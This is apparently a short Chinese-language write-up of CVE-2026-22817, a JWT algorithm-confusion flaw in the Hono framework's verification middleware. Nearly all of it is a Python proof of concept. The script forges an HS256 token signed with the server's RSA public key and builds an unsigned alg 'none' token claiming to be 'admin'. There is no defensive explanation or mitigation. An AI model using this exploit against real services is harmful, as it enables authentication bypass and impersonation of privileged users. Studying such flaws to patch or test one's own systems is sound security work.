CVE-2026-22817 Hono框架JWT验证中间件算法混淆漏洞

import jwt # 假设这是服务器的RSA公钥（通常公开） rsa_public_key = '''-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2mKqH... -----END PUBLIC KEY-----''' # 原始JWT（使用RS256算法） original_token = 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ' # 攻击步骤1：解码JWT header并修改alg为HS256 header = jwt.get_unverified_header(original_token) print(f"Original header: {header}") # 攻击步骤2：使用RSA公钥作为HMAC密钥伪造HS256 token forged_token = jwt.encode( {"sub": "1234567890", "name": "John Doe", "iat": 1516239022}, rsa_public_key, # 使用公钥作为对称密钥 algorithm="HS256" ) # 攻击步骤3：设置alg为none绕过验证（如果服务器允许） none_algorithm_token = jwt.encode( {"sub": "admin", "name": "Attacker", "iat": 1516239022}, "", algorithm="none" ) print(f"Forged token with HS256: {forged_token}") print(f"Token with none algorithm: {none_algorithm_token}")